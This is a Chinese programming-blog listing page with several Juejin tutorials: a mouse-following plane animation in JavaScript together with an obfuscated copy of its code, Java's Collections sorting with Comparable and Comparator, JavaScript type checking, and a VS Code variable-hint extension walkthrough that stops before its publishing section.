前端网页中,用JS实现鼠标移动时,页面中的小飞机向着鼠标移动。


效果



源码


<!DOCTYPE html>
<html>

<head>
<style>
*{
margin: 0;
padding: 0;
}
body{
height: 100vh;
background: linear-gradient(200deg,#005bea,#00c6fb);
}
#plane{
color: #fff;
font-size: 70px;
position: absolute;
display: flex;
justify-content: center;
align-items: center;
}
</style>
</head>

<body>
<div id="plane">
<i aria-hidden="true"></i>
</div>
<script>
var plane=document.getElementById('plane');
var deg=0,ex=0,ey=0,vx=0,vy=0,count=0;
window.addEventListener('mousemove',(e)=>{
ex=e.pageX-plane.offsetLeft-plane.clientWidth/2;
ey=e.pageY-plane.offsetTop-plane.clientHeight/2;
deg=360*Math.atan(ey/ex)/(2*Math.PI)+5;
if(ex<0){
deg+=180;
}
count=0;
})
function draw(){
plane.style.transform='rotate('+deg+'deg)';
if(count<100){
vx+=ex/100;
vy+=ey/100;
}
plane.style.left=vx+'px';
plane.style.top=vy+'px';
count++;
}
setInterval(draw,1);
</script>
</body>

</html>

实现的原理是:当鼠标在网页中移动时,获取鼠标位置,同时设置飞机指向、并移动飞机位置,直至飞机到达鼠标位置。


重点代码是mousemove事件接管函数和移动飞机位置函数draw。


window.addEventListener('mousemove',(e)=>{
ex=e.pageX-plane.offsetLeft-plane.clientWidth/2;
ey=e.pageY-plane.offsetTop-plane.clientHeight/2;
deg=360*Math.atan(ey/ex)/(2*Math.PI)+5;
if(ex<0){
deg+=180;
}
count=0;
})
function draw(){
plane.style.transform='rotate('+deg+'deg)';
if(count<100){
vx+=ex/100;
vy+=ey/100;
}
plane.style.left=vx+'px';
plane.style.top=vy+'px';
count++;
}

由代码中即可知道实现逻辑。如果想独自享用此功能,不想让他人知道原理、不想被他人修改,可以将核心JS代码进行混淆加密。


比如用JShaman对上述JS代码加密。



加密后的代码,会成为以下形式,使用起来还跟加密前一样。


window.addEventListener('mousemove',(e)=>{
(function(_0x5e2a74,_0x3d2559){var _0x5e2331=_0x5e2a74();function _0x4514c1(_0x56e61e,_0x24cc3c,_0xced7a6,_0x2eee50,_0x30fa4e){return _0xc941(_0xced7a6- -0x94,_0x2eee50);}function _0x447b09(_0x2bf694,_0x3c6d87,_0x2bfc91,_0x14456b,_0x28fe70){return _0xc941(_0x3c6d87- -0x3b,_0x28fe70);}function _0x12756f(_0x58c768,_0x1cd95f,_0x188173,_0x5baeba,_0x59fb94){return _0xc941(_0x1cd95f- -0x32b,_0x5baeba);}function _0x3c2cef(_0x3a3ce5,_0x274c07,_0x15ea13,_0x4aa242,_0x449d14){return _0xc941(_0x274c07- -0x1f6,_0x4aa242);}function _0x5516f2(_0x51af28,_0x27889e,_0x34f94f,_0x3756b4,_0x34e9e7){return _0xc941(_0x51af28-0x6e,_0x34e9e7);}while(!![]){try{var _0x1361cf=parseInt(_0x12756f(-0x31f,-0x322,-0x31b,-0x324,-0x319))/0x1*(-parseInt(_0x12756f(-0x330,-0x329,-0x333,-0x322,-0x326))/0x2)+-parseInt(_0x3c2cef(-0x1f0,-0x1f2,-0x1e9,-0x1f1,-0x1f2))/0x3*(-parseInt(_0x4514c1(-0x85,-0x83,-0x8c,-0x8a,-0x96))/0x4)+-parseInt(_0x5516f2(0x79,0x7f,0x72,0x71,0x73))/0x5*(-parseInt(_0x447b09(-0x44,-0x3b,-0x42,-0x38,-0x3b))/0x6)+parseInt(_0x4514c1(-0x88,-0x8a,-0x8d,-0x97,-0x88))/0x7*(-parseInt(_0x4514c1(-0x8b,-0x88,-0x91,-0x8f,-0x8c))/0x8)+parseInt(_0x447b09(-0x25,-0x28,-0x24,-0x30,-0x2e))/0x9*(-parseInt(_0x4514c1(-0x7c,-0x83,-0x85,-0x7d,-0x85))/0xa)+-parseInt(_0x5516f2(0x74,0x74,0x71,0x7b,0x79))/0xb+-parseInt(_0x4514c1(-0x8c,-0x95,-0x8f,-0x91,-0x91))/0xc*(-parseInt(_0x447b09(-0x2c,-0x2a,-0x29,-0x22,-0x23))/0xd);if(_0x1361cf===_0x3d2559){break;}else{_0x5e2331["\u0070\u0075\u0073\u0068"](_0x5e2331["\u0073\u0068\u0069\u0066\u0074"]());}}catch(_0x12462f){_0x5e2331["\u0070\u0075\u0073\u0068"](_0x5e2331["\u0073\u0068\u0069\u0066\u0074"]());}}})(_0x2138,0x5eefa);function _0x2138(){var _0x3f76d0=["\u0063\u006c\u0069\u0065\u006e\u0074\u0048\u0065\u0069\u0067\u0068\u0074","\u0063\u006c\u0069\u0065\u006e\u0074\u0057\u0069\u0064\u0074\u0068","JrgkzB035".split("").reverse().join(""),"Xegap".split("").reverse().join(""),"SyQffy23819".split("").reverse().join(""),"poTtesffo".split("").reverse().join(""),"ipqYMm50751".split("").reverse().join(""),"AqmLUY411".split("").reverse().join(""),"\u0070\u0061\u0067\u0065\u0059","xWOaei206".split("").reverse().join(""),"LeZbPZ428".split("").reverse().join(""),"GxweQb21".split("").reverse().join(""),"pskjDZ465".split("").reverse().join(""),"jljclz6152674".split("").reverse().join(""),'26985yqvBrA','301452FNGmnL',"\u0031\u0039\u0031\u006c\u0059\u004b\u004d\u0072\u006d",'offsetLeft',"fSfKNj525391".split("").reverse().join(""),"\u0061\u0074\u0061\u006e"];_0x2138=function(){return _0x3f76d0;};return _0x2138();}ex=e['pageX']-plane['offsetLeft']-plane["\u0063\u006c\u0069\u0065\u006e\u0074\u0057\u0069\u0064\u0074\u0068"]/(0xe2994^0xe2996);ey=e["\u0070\u0061\u0067\u0065\u0059"]-plane["\u006f\u0066\u0066\u0073\u0065\u0074\u0054\u006f\u0070"]-plane["\u0063\u006c\u0069\u0065\u006e\u0074\u0048\u0065\u0069\u0067\u0068\u0074"]/(0xc7c08^0xc7c0a);deg=(0xc5a81^0xc5be9)*Math["\u0061\u0074\u0061\u006e"](ey/ex)/((0x350f1^0x350f3)*Math['PI'])+(0x4ebc3^0x4ebc6);if(ex<(0x7f58a^0x7f58a)){deg+=0x3611b^0x361af;}function _0xc941(_0x20d997,_0x21385e){var _0xc941d=_0x2138();_0xc941=function(_0x1c87e9,_0x16a339){_0x1c87e9=_0x1c87e9-0x0;var _0x1c1df3=_0xc941d[_0x1c87e9];return _0x1c1df3;};return _0xc941(_0x20d997,_0x21385e);}count=0x84c22^0x84c22;
})
function draw(){
(function(_0x228270,_0x49c561){function _0x1a7320(_0x4d8e0a,_0x4a154f,_0x39e417,_0x3351c1,_0x309eea){return _0x38eb(_0x4a154f- -0x390,_0x39e417);}var _0x5708e4=_0x228270();function _0x9be745(_0x32a1,_0x343ed0,_0xb88373,_0x328e52,_0x923750){return _0x38eb(_0xb88373-0x37,_0x923750);}function _0x556527(_0x56c686,_0x3c0b6e,_0x2f3681,_0x32b652,_0x3a844e){return _0x38eb(_0x3a844e-0x356,_0x32b652);}function _0x1cff65(_0x4a8e90,_0x538331,_0x35ecc0,_0x27c079,_0x1ad156){return _0x38eb(_0x35ecc0-0x295,_0x27c079);}function _0x1ca2c5(_0x1ae530,_0x12dbfa,_0xff68f6,_0x370048,_0xcf6eb1){return _0x38eb(_0x1ae530-0x244,_0xcf6eb1);}while(!![]){try{var _0x4d0db3=parseInt(_0x1ca2c5(0x24c,0x247,0x252,0x248,0x252))/0x1*(parseInt(_0x556527(0x35f,0x350,0x35c,0x355,0x358))/0x2)+-parseInt(_0x556527(0x365,0x363,0x360,0x35d,0x35d))/0x3*(-parseInt(_0x556527(0x358,0x358,0x355,0x355,0x35a))/0x4)+-parseInt(_0x1cff65(0x293,0x29c,0x29a,0x293,0x294))/0x5+parseInt(_0x1ca2c5(0x24f,0x24b,0x255,0x248,0x254))/0x6+-parseInt(_0x1ca2c5(0x245,0x240,0x23f,0x248,0x24a))/0x7+-parseInt(_0x556527(0x367,0x362,0x367,0x360,0x360))/0x8+parseInt(_0x556527(0x35a,0x363,0x365,0x35a,0x362))/0x9;if(_0x4d0db3===_0x49c561){break;}else{_0x5708e4["\u0070\u0075\u0073\u0068"](_0x5708e4["\u0073\u0068\u0069\u0066\u0074"]());}}catch(_0x4057b8){_0x5708e4["\u0070\u0075\u0073\u0068"](_0x5708e4["\u0073\u0068\u0069\u0066\u0074"]());}}})(_0x15e5,0x6b59f);function _0x4da06f(_0x10d466,_0x20ab24,_0x408802,_0x869b10,_0x64532e){return _0x38eb(_0x869b10-0x294,_0x20ab24);}plane["\u0073\u0074\u0079\u006c\u0065"]["\u0074\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d"]=_0x4da06f(0x297,0x29b,0x299,0x297,0x298)+deg+_0x4da06f(0x2a5,0x2a2,0x2a4,0x2a1,0x29d);function _0x38eb(_0xf88e34,_0x15e593){var _0x38eb7d=_0x15e5();_0x38eb=function(_0x1b2a3d,_0x46bf66){_0x1b2a3d=_0x1b2a3d-0x0;var _0x23a19a=_0x38eb7d[_0x1b2a3d];return _0x23a19a;};return _0x38eb(_0xf88e34,_0x15e593);}if(count<(0xcf802^0xcf866)){vx+=ex/(0xecfb8^0xecfdc);vy+=ey/(0x667f3^0x66797);}function _0x15e5(){var _0x1a56cf=["KMHgjO12".split("").reverse().join(""),"pot".split("").reverse().join(""),"\u0036\u0033\u0034\u0032\u0035\u0036\u0038\u004f\u006d\u0048\u0065\u0055\u0057","\u0034\u0030\u0031\u0038\u0031\u0032\u0032\u0044\u006a\u0057\u006e\u0058\u0043","VmFQAb2646603".split("").reverse().join(""),")ged".split("").reverse().join(""),"elyts".split("").reverse().join(""),"\u0074\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d","VgmPeO2141391".split("").reverse().join(""),"kvRLZy63064".split("").reverse().join(""),"(etator".split("").reverse().join(""),"\u0031\u0031\u0032\u0034\u0072\u0055\u0046\u0046\u007a\u007a","TRaCTh0401222".split("").reverse().join(""),"\u006c\u0065\u0066\u0074","oLkDOm9984".split("").reverse().join("")];_0x15e5=function(){return _0x1a56cf;};return _0x15e5();}plane['style']['left']=vx+"\u0070\u0078";plane["\u0073\u0074\u0079\u006c\u0065"]['top']=vy+"xp".split("").reverse().join("");function _0x27ce93(_0x4b6716,_0x4781f6,_0x57584e,_0x4dbb11,_0x295d49){return _0x38eb(_0x4b6716-0x233,_0x4781f6);}count++;
}

一个小小的JS特效,但效果挺不错。


感谢阅读。劳逸结合,写代码久了,休息休息。


作者:w2sfot
来源:juejin.cn/post/7302338286769520692
收起阅读 »

从入门到精通:集合工具类Collections全攻略!

前言在之前的文章中,我们学习了单列集合的两大接口及其常用的实现类;在这些接口或实现类中,为我们提供了不少的实用的方法。本篇文章我们来介绍一种java开发者为我们提供了一个工具类,让我们更好的来使用集合Collections 工具类介绍Collections 是...
继续阅读 »

前言
在之前的文章中,我们学习了单列集合的两大接口及其常用的实现类;在这些接口或实现类中,为我们提供了不少的实用的方法。
本篇文章我们来介绍一种java开发者为我们提供了一个工具类,让我们更好的来使用集合

Collections 工具类

介绍

Collections 是一个操作Set,List,Map等的集合工具类
它提供了一系列静态的方法对集合元素进行排序、查询和修改等的操作,还提供了对集合对象设置不可变、对集合对象实现同步控制等方法。

常用功能

通过java的api文档,可以看到Collections了很多方法,我们在此就挑选几个常用的功能,为大家演示一下使用:

● public static void shuffle(List<?> list) 打乱顺序:打乱集合顺序。
● public static <T> void sort(List<T> list):根据元素的自然顺序 对指定列表按升序进行排序
● public static <T> void sort(List<T> list,Comparator<? super T> ): 根据指定比较器产生的顺序对指定列表进行排序。

直接撸代码:

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

public class Demo1Collections {

public static void main(String[] args) {

//创建一个List 集合
List<Integer> numbers = new ArrayList<>();
//在这里咱们顺便使用下Collections的addAll()方法
Collections.addAll(numbers, 3,34,345,66,22,1);

System.out.println("原集合" + numbers);
//使用排序算法
Collections.sort(numbers);
System.out.println("排序之后"+numbers);

Collections.shuffle(numbers);
System.out.println("乱序之后" + numbers);

//创建一个字符串List 集合
List<String> stringDemo = new ArrayList<>();
stringDemo.add("nihao");
stringDemo.add("hello");
stringDemo.add("wolrd");
stringDemo.add("all");
System.out.println("原集合" + stringDemo);
//使用排序算法
Collections.sort(stringDemo);
System.out.println("排序之后"+stringDemo);

List<Person> people = new ArrayList<>();
people.add(new Person("秋香", 15));
people.add(new Person("石榴姐", 19));
people.add(new Person("唐伯虎", 12));
System.out.println("--" + people);

//如果Person类中,这里报错了,为什么呢? 在这里埋个伏笔,且看下文
Collections.sort(people);

System.out.println("----" + people);

}
}

Comparable 和 Comparator

Comparable 接口实现 集合排序

我们上面代码最后一个例子,使用了我们自定义的类型,在使用排序时,给我们报错了?这是为什么呢?整型包装类和字符串类型,和我们的自定义类型有什么区别?
那我们通过API文档,看看这个方法,可以看到 根据元素的自然顺序 对指定列表按升序进行排序。列表中的所有元素都必须实现 Comparable 接口。此外,列表中的所有元素都必须是可相互比较的。 而Comparable 接口只有一个方法 int compareTo(T o)比较此对象与指定对象的顺序。

编程学习,从云端源想开始,课程视频、在线书籍、在线编程、一对一咨询……你想要的全部学习资源这里都有,重点是统统免费!点这里即可查看

说的白话一些,就是我们使用自定义类型,进行集合排序的时候,需要实现这个Comparable接口,并且重写 compareTo(T o)。

public class Person2 implements Comparable<Person2>{
private String name;
private int age;

public Person2(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person2{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public int compareTo(Person2 o) {
//重写方法如何写呢?
// return 0; //默认元素都是相同的
//自定义规则 我们通过person 的年龄进行比较 this 代表本身,而 o 代表传参的person对象
//这里的比较规则
// ==》 升序 自己 - 别人
// ==》 降序 别人 - 自己
// return this.getAge() - o.getAge(); //升
return o.getAge() - this.getAge(); //降

}
}


public class Demo2Comparable {

public static void main(String[] args) {
List<Person2> people2 = new ArrayList<>();
people2.add(new Person2("秋香", 15));
people2.add(new Person2("石榴姐", 19));
people2.add(new Person2("唐伯虎", 12));
System.out.println("--" + people2);

//这里报错了,为什么呢?
Collections.sort(people2);

System.out.println("----" + people2);
}
}


Comparator 实现排序

使用Comparable 接口实现排序,是一种比较死板的方式,我们每次都要让自定义类去实现这个接口,那如果我们的自定义类只是偶尔才会去做排序,这种实现方式,不就很麻烦吗!所以工具类还为我们提供了一种灵活的排序方式,当我需要做排序的时候,去选择调用该方法实现

public static <T> void sort(List<T> list, Comparator<? super T> c)

根据指定比较器产生的顺序对指定列表进行排序。我们通过案例来看看该方法的使用

public class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

public class Demo3Comparator {
public static void main(String[] args) {

List<Person> people = new ArrayList<>();
people.add(new Person("秋香", 15));
people.add(new Person("石榴姐", 19));
people.add(new Person("唐伯虎", 12));
System.out.println("--" + people);

//第二个参数 采用匿名内部类的方式传参 - 可以复习之前有关内部类的使用
Collections.sort(people, new Comparator<Person>() {
@Override
public int compare(Person o1, Person o2) {
//这里怎么用呢 自定义按年龄排序
// return 0;
// return o1.getAge() - o2.getAge(); //升序
return o2.getAge() - o1.getAge(); //降序

//结论: 前者 -后者 升序 反之,降序
//这种方式 我们优先使用
}
});
System.out.println("排序后----" + people);
}
}

Comparable 和 Comparator

Comparable: 强行对实现它的每个类的对象进行整体排序。这种排序被称为类的自然排序,类的compareTo方法被称为它的自然比较方法。只能在类中实现compareTo()一次,不能经常修改类的代码实现自己想要的排序。实现此接口的对象列表(和数组)可以通过Collections.sort(和Arrays.sort)进行自动排序,对象可以用作有序映射中的键或有序集合中的元素,无需指定比较器。

Comparator: 强行对某个对象进行整体排序。可以将Comparator 传递给sort方法(如Collections.sort或 Arrays.sort),从而允许在排序顺序上实现精确控制。还可以使用Comparator来控制某些数据结构(如有序set或有序映射)的顺序,或者为那些没有自然顺序的对象collection提供排序。

小结

Collections 是 Java 中用于操作集合的工具类,它提供了一系列静态方法来对集合进行排序、查找、遍历等操作。在 Java 中,Map 是一种特殊的集合,用于存储键值对数据。虽然 Collections 类的部分方法可以直接操作 Map 的键或值的集合视图,但并不能直接对整个 Map 进行操作。

Collections 类提供了一些静态方法来对 Map 的键或值集合视图进行操作,比如排序、查找最大值、查找最小值等。例如,Collections.sort 方法可以对 List 类型的集合进行排序,而 List 类型的 map.keySet() 和 map.values() 返回的集合都可以使用这个方法进行排序。同样地,Collections.max 和 Collections.min 也可以用于获取集合中的最大值和最小值。

另外,对于整个 Map 的操作,可以直接使用 Map 接口提供的方法进行操作,比如 put、get、remove 等。如果需要对整个 Map 进行操作,一般直接调用 Map 接口提供的方法会更加方便和直观。

总之,Collections 类主要用于操作集合类(比如 List、Set),而对于 Map 类型的操作,一般直接使用 Map 接口提供的方法即可。

还是老生常谈,熟能生巧!多练!happy ending!!

收起阅读 »

全方位了解 JavaScript 类型判断

web
JavaScript 是一种弱类型语言,因此了解如何进行类型检测变得尤为重要。在本文中,我们将深入探讨 JavaScript 中的三种常见类型检测方法:typeof、instanceof 和 Object.prototype.toString()。这些方法各有...
继续阅读 »

JavaScript 是一种弱类型语言,因此了解如何进行类型检测变得尤为重要。在本文中,我们将深入探讨 JavaScript 中的三种常见类型检测方法:typeofinstanceofObject.prototype.toString()。这些方法各有特点,通过详细的解释,让我们更好地理解它们的用法和限制。


JS 类型判断详解:typeof、instanceof 和 Object.prototype.toString()


1. typeof


1.1 准确判断原始类型


typeof 是一种用于检测变量类型的操作符。它可以准确地判断除 null 之外的所有原始类型,包括 undefinedbooleannumberstringsymbol。(js中还有一种类型叫“大整型”)


console.log(typeof undefined); // 输出: "undefined"
console.log(typeof true); // 输出: "boolean"
console.log(typeof 42); // 输出: "number"
console.log(typeof "hello"); // 输出: "string"
console.log(typeof Symbol()); // 输出: "symbol"

1.2 判断函数


typeof 还可以用于判断函数类型。


function exampleFunction() {}
console.log(typeof exampleFunction); // 输出: "function"

解释说明: 注意,typeof 能够区分函数和其他对象类型,这在某些场景下是非常有用的。


2. instanceof


2.1 只能判断引用类型


instanceof 运算符用于判断一个对象是否是某个构造函数的实例。它只能判断引用类型。


const arr = [1, 2, 3];
console.log(arr instanceof Array); // 输出: true

2.2 通过原型链查找


instanceof 的判断是通过原型链的查找实现的。(原型链详解移步 => juejin.cn/post/730493… )如果对象的原型链中包含指定构造函数的原型,那么就返回 true


function Animal() {}
function Dog() {}

Dog.prototype = new Animal();

const myDog = new Dog();
console.log(myDog instanceof Dog); // 输出: true
console.log(myDog instanceof Animal); // 输出: true

解释说明: instanceof 通过检查对象的原型链是否包含指定构造函数的原型来判断实例关系。


3. Object.prototype.toString()


3.1 调用步骤


Object.prototype.toString() 方法用于返回对象的字符串表示。当调用该方法时,将执行以下步骤:



  1. 如果 this 值为 undefined,则返回字符串 "[object Undefined]"。

  2. 如果 this 值为 null,则返回字符串 "[object Null]"。

  3. this 转换成对象(如果是原始类型,会调用 ToObject 将其转换成对象)。

  4. 获取对象的 [[Class]] 内部属性的值。

  5. 返回连接的字符串 "[Object"、[[Class]]、"]"。


console.log(Object.prototype.toString.call(undefined)); // 输出: "[object Undefined]"
console.log(Object.prototype.toString.call(null)); // 输出: "[object Null]"

console.log(Object.prototype.toString.call(42)); // 输出: "[object Number]"
console.log(Object.prototype.toString.call("hello")); // 输出: "[object String]"

console.log(Object.prototype.toString.call([])); // 输出: "[object Array]"
console.log(Object.prototype.toString.call({})); // 输出: "[object Object]"

function CustomType() {}
console.log(Object.prototype.toString.call(new CustomType())); // 输出: "[object Object]"

解释说明: Object.prototype.toString() 是一种通用且强大的类型检测方法,可以适用于所有值,包括原始类型和引用类型。


结语


了解 typeofinstanceofObject.prototype.toString() 的使用场景和限制有助于我们更加灵活地进行类型检测,提高代码的可读性和健壮性。选择合适的方法取决于具体的情境和需求,合理使用这些方法将使你的 JavaScript 代码更加优雅和可维护。


作者:skyfker
来源:juejin.cn/post/7305348040209629220
收起阅读 »

实现一个自己的vscode插件到发布

web
前言 本篇文章讲述了一个 vscode 插件开发的过程,希望能帮助到想了解 vscode 插件是如何开发的同学 文章最后又github地址 说在前面的话: 在看内容之前,确保你想了解如何开发一款 vscode 插件 内容以大白文教学形式输出,如果写的不清...
继续阅读 »

前言



本篇文章讲述了一个 vscode 插件开发的过程,希望能帮助到想了解 vscode 插件是如何开发的同学


文章最后又github地址



说在前面的话:



  1. 在看内容之前,确保你想了解如何开发一款 vscode 插件

  2. 内容以大白文教学形式输出,如果写的不清晰的地方,欢迎留言告诉我,这会帮助我理解到各位的痛点

  3. 看一万遍不如自己写一遍

  4. 学会这个思路,可以尝试去给开源的 UI 组件写提示插件,做出一些开源贡献

  5. 以上看完之后,请带着思考去看下面内容


一、为什么要做这个 vscode 插件🤔


为我们公司自己而用


在之前,我问到我们 UI设计师 老师,


我: 能给我一些我们的颜色的设计资源吗?


UI: 可以呀


然后就给了我一些主题色,辅色,然后线条色等等。


OK,当我拿到之后,对于颜色我们前端创建了一个 vars.scss 的文件夹,用于定义一些变量,大致是这样:


:root {
--tsl-doc-white: #fff;
// 文字色
--tsl-doc-gray-1: #e2e5e8;
--tsl-doc-gray-2: #d2d5d8;
--tsl-doc-gray-3: #b6babf;
--tsl-doc-gray-4: #afb2b7;
--tsl-doc-gray-5: #999b9f;
--tsl-doc-gray-6: #66686c;
--tsl-doc-gray-7: #3c3d3f;
}


使用 color: var(--tsl-doc-white) ,就达到目的,其实就是 css 变量,没什么的,当我们做完一系列之后,发现有个痛点~~


妈的(骂骂咧咧),这个颜色我起的名字是什么,笑死🤣,根本记不住,然后就导致了开发人员是一种什么情况,一边看变量文件一边写,我寻思,还不如直接写颜色来的快这样。


所以啊,所以,我在思考之后,我就想起,我一直在下一些提示插件,那么别人是如何实现的?


突然,我是不是也可以做一个,这样我们就可以避免这种问题了。于是就开始了我的插件开发之路。


二、如何实现一个 vscode 插件🖥️


2.1 一些或许有点用的文档资源


【vscode 官方文档】:Your First Extension | Visual Studio Code Extension API


【VS Code插件创作中文开发文档】: 你的第一个插件 - VS Code插件创作中文开发文档


2.2 需要提前准备的环境


Node环境: 大于16,主要使用 npm


安装一些脚手架(给我装就完了):


npm install -g yo generator-code

执行命令 yo code ,过一会儿就会看到下面这段话


# ? What type of extension do you want to create? New Extension (TypeScript)
# ? What's the name of your extension? HelloWorld
### Press to choose default for all options below ###

# ? What'
s the identifier of your extension? helloworld
# ? What's the description of your extension? LEAVE BLANK
# ? Enable stricter TypeScript checking in '
tsconfig.json'? Yes
# ? Setup linting using '
tslint'? Yes
# ? Initialize a git repository? Yes
# ? Which package manager to use? npm

code ./helloworld

细节的一些可以看官方,有视频,😏,当你已经能成功输出 Hello World 然后,在回来看我这里


2.3 分析需求


明确知道自己要做什么:



  1. 输入我们指定的 tsl、--tsl 这些是不是要出现提示呀,告知我们可以选择哪些

  2. 鼠标放到 --tsl-doc-white 显式出对应的变量,不要觉得自己能记住了


就两个效果,明白之后我们就开始进行配置和 Coding


2.4 实现 variable-prompt


配置


主要还是 package.json 进行配置,先看我的这份:


{
"name": "variable-prompt",
"displayName": "variable-prompt",
"icon": "src/assets/tsl-logo.png", # 插件的图标就是这里来的
"description": "css variable prompt",# 描述插件的用途
"version": "1.0.0",
"publisher": "sakanaovo",
"engines": {
"vscode": "^1.56.0" # 这里要和 types/vscode 同步一下
},
"categories": [
"Other"
],
"main": "./extension.js",
"contributes": {},
# activationEvents 激活事件,这里配置了以下这些文件激活
"activationEvents": [
"onLanguage:vue",
"onLanguage:javascript",
"onLanguage:typescript",
"onLanguage:javascriptreact",
"onLanguage:typescriptreact",
"onLanguage:scss",
"onLanguage:css",
"onLanguage:less"
],
"scripts": {
"lint": "eslint .",
"pretest": "npm run lint",
"build": "vsce package", # 打包命令
"test": "node ./test/runTest.js"
},
"devDependencies": {
"@types/vscode": "^1.56.0",
"@types/glob": "^8.1.0",
"@types/mocha": "^10.0.1",
"@types/node": "20.2.5",
"eslint": "^8.41.0",
"vsce": "^2.13.0", # 打包 后面会介绍
"glob": "^8.1.0",
"mocha": "^10.2.0",
"typescript": "^5.1.3",
"@vscode/test-electron": "^2.3.2"
}
}

这里看完了教帮助大家记忆训练


window高玩 :Ctrl + CCtrl + V


mac高玩:Cmd + CCmd + V


编码




  1. 创建 src/helper.jssrc/variableMap.js


    image-20230804133618857.png




  2. 清空根目录 extension.js 代码


    function activate(context) {
    console.log("启动成功");

    }

    // This method is called when your extension is deactivated
    function deactivate() {}

    module.exports = {
    activate,
    deactivate,
    };


    按下 F5 ,就可以启动容器,好的,那我们是不是想看这个 console 日志在哪儿,有两种



    • 第一种,在你开发插件vscode中查看调试控制台,一般在vscode左侧,找不到或者就 Ctrl+Shift+Y 就可以看是否打印

    • 第二种,在你启动的容器中,按 Ctrl+Shift+I ,也可以打开一个控制台,并查看你的日志信息,这是因为 vscode 是用 Electron 开发的,Electron 也是这样查看调试




  3. 实现 Hover 效果


    src/helper.js 中我们简单实现鼠标放上去就显式悬停效果


    const vscode = require("vscode");

    function provideHover(document, position, token) {
    // 获取鼠标位置的单词
    const word = document.getText(document.getWordRangeAtPosition(position));

    // 创建悬停内容
    const hoverText = `这是一个悬停示例,你鼠标放上去的单词是:${word}`;
    const hover = new vscode.Hover(hoverText);

    return hover;
    }

    module.exports = {
    provideHover
    };

    src/extension.js 中我们注入一下


    const vscode = require("vscode");
    const { provideHover } = require("./src/helper.js");
    // 添加一些文件类型
    const files = [
    "javascript",
    "typescript",
    "javascriptreact",
    "typescriptreact",
    "vue",
    "scss",
    "less",
    "css",
    "sass",
    ];

    function activate(context) {
    console.log("启动成功");

    context.subscriptions.push(
    vscode.languages.registerHoverProvider(files, {
    provideHover,
    })
    );
    }

    然后 F5 ,如果你已经启动过会有这个小标记,如下图:


    image-20230804135238225.png


    那我们点击一下框住的这个刷新按钮,然后在容器中调试一下,随便写下一段代码,下图是一个展示效果:


    image-20230804135427582.png


    OK,到这里,我们就实现了悬停了效果




  4. variableMap.js 完善一下映射规则


    大致如下:


    // 这个文件是 变量映射表 --tsl-color:#fa8c16
    const variableMap = {
    // 用于存放变量的映射关系
    "--tsl-primary-color": "#33c88e",
    "--tsl-doc-white": "#ffffff",
    "--tsl-doc-gray-1": "#e2e5e8",
    "--tsl-doc-gray-2": "#d2d5d8",
    "--tsl-doc-gray-3": "#b6babf",
    "--tsl-doc-gray-4": "#afb2b7",
    "--tsl-doc-gray-5": "#999b9f",
    "--tsl-doc-gray-6": "#66686c",
    "--tsl-doc-gray-7": "#3c3d3f",
    "--tsl-bg-gray-1": "#f2f4f4",
    "--tsl-warn-color": "#ff6813",
    "--tsl-accent-color": "#f9ba41",
    "--tsl-disabled-color-1": "#edfff8",
    "--tsl-disabled-color-2": "#b4e7d2",
    "--tsl-disabled-color-3": "#9eedcc",
    };

    module.exports = variableMap;


    非常简单,就是把我们的定义的一些,在这里写好就行




  5. 根据 variableMap.js 实现触发提示


    src/helper.js 中我们实现 provideCompletionItems


    const VARIABLE_RE = /--tsl(?:[\w-]+)?/;

    function provideCompletionItems(document, position) {
    const lineText = document.lineAt(position.line).text;

    const match = lineText.match(VARIABLE_RE);
    if (
    lineText.includes("tsl") ||
    match ||
    lineText.includes("--tsl") ||
    lineText.includes("t")
    ) {
    // 拿到 variableMap 中的所有变量
    const variables = Object.keys(variableMap);
    const completionItems = variables.map((variable) => {
    const item = new vscode.CompletionItem(variable);
    const color = variableMap[variable];
    item.detail = color;
    // 给detail 添加注释
    const formattedDetail = `这是一个颜色变量,值为 ${color}`;
    // 创建一个 MarkdownString
    const markdownString = new vscode.MarkdownString();
    // 添加普通文本和代码块
    markdownString.appendText(formattedDetail);
    // 将注释转换为 markdown 格式
    item.documentation = markdownString;
    item.kind = vscode.CompletionItemKind.Variable;
    return item;
    });
    return completionItems;
    }
    return [];
    }

    module.exports = {
    provideHover,
    provideCompletionItems,
    };


    src/extension.js 中我们注入一下


    const { provideHover, provideCompletionItems } = require("./src/helper.js");

    function activate(context) {
    console.log("启动成功");

    context.subscriptions.push(
    vscode.languages.registerHoverProvider(files, {
    provideHover,
    })
    );
    // 注入的提示
    context.subscriptions.push(
    vscode.languages.registerCompletionItemProvider(files, {
    provideCompletionItems,
    })
    );
    }

    刷新,和上面操作一样,然后我们输入 tsl 就会出现这样的一个效果,如下图:


    image-20230804140502999.png


    为了让能有点颜色看看我们需要小小的改造一下下,在 provideCompletionItems 中,把 kind 设置为 Color ,修改成这样:


    item.kind = vscode.CompletionItemKind.Color ,然后我们刷新启动看看效果:


    image-20230804141025071.png


    这样我们就实现了带颜色提示




  6. 改造我们的 Hover 效果


    src/helper.js 中我们把 provideHover 改成这样:


    function provideHover(document, position) {
    const lineText = document.lineAt(position.line).text;
    const regex = /--[\w-]+/g;
    const match = lineText.match(regex);
    const word = match[0];
    if (match.length > 0 && word.includes("--tsl")) {
    const completeVariable = match.find((variable) => variable.includes(word));
    const hoverText = variableMap[completeVariable];
    if (hoverText) {
    return new vscode.Hover(hoverText);
    }
    }
    }

    最终效果就是我们鼠标放在对应的变量上会告诉我们对应的16进制值是什么,效果如下:


    image-20230804143637675.png




好了,到这里,我们就已经完全实现了,我们可以运行 npm run build 然后选择 y 就可以生成一个 variable-prompt-1.0.0.vsix 文件


三、如何发布🎉


我只教你手动上传,因为我也是手动上传,自动挡还没学会。


